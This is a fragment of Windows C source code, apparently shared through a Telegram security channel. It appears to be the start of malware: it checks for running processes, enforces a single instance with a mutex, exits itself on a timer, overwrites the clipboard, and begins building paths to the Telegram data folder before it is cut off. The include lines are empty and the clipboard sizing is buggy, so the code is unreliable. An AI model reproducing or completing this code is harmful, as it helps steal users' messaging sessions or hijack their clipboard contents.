CODE:
“`
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
#include
#include
#include
#include
bool IsProcessRunning(char *szProcName)
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (!Process32First(snapshot, &entry))
{
CloseHandle(snapshot);
return false;
}
do
{
if (strcmp(entry.szExeFile, szProcName) == 0)
{
CloseHandle(snapshot);
return true;
}
} while (Process32Next(snapshot, &entry));
CloseHandle(snapshot);
return false;
}
DWORD WINAPI KillThread(LPVOID param)
{
Sleep(10000);
ExitProcess(0);
}
bool SetClipboardTextW(wchar_t *wszText)
{
bool SetOk = false;
if (OpenClipboard(NULL))
{
if (EmptyClipboard())
{
int size = sizeof(wszText);
size += sizeof(WCHAR) * (wcslen(wszText) +1);
HGLOBAL hClipboardData = GlobalAlloc(NULL, size);
if (hClipboardData)
{
WCHAR* pchData = (WCHAR*) GlobalLock(hClipboardData);
if (pchData)
{
memcpy(pchData, (WCHAR*)wszText, size);
GlobalUnlock(hClipboardData);
SetClipboardData(CF_UNICODETEXT, hClipboardData);
SetOk = true;
}
}
}
CloseClipboard();
}
return SetOk;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(1000);
char cfg_mutex[] = “735733”;
HANDLE mutex;
mutex = CreateMutex(NULL, FALSE, cfg_mutex);
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
WCHAR wszAppData[MAX_PATH];
WCHAR wszTelegramPath[MAX_PATH];
https://t.me/cKure/6142